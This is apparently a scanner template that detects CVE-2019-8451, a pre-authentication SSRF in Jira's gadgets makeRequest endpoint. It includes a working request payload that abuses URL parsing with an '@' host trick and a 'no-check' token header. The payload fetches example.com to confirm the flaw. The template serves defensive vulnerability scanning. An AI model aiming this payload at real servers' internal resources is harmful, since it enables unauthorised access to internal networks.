2020-07-06 14:52:34 +00:00
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id: CVE-2019-8451
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info:
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name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
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author: "TechbrunchFR"
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severity: medium
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# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
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# security issue reported in August 2019.
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2020-07-06 14:56:27 +00:00
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# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in
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2020-07-06 14:52:34 +00:00
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# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
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2020-07-06 14:56:27 +00:00
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# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
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# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
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2020-07-06 14:52:34 +00:00
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# network resources.
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# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
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# https://twitter.com/benmontour/status/1177250393220239360
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# https://twitter.com/ojensen5115/status/1176569607357730817
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:1337@example.com'
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headers:
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X-Atlassian-token: no-check
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matchers:
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- type: word
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name: ssrf-response-body
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words:
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- '<p>This domain is for use in illustrative examples in documents.'
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part: body
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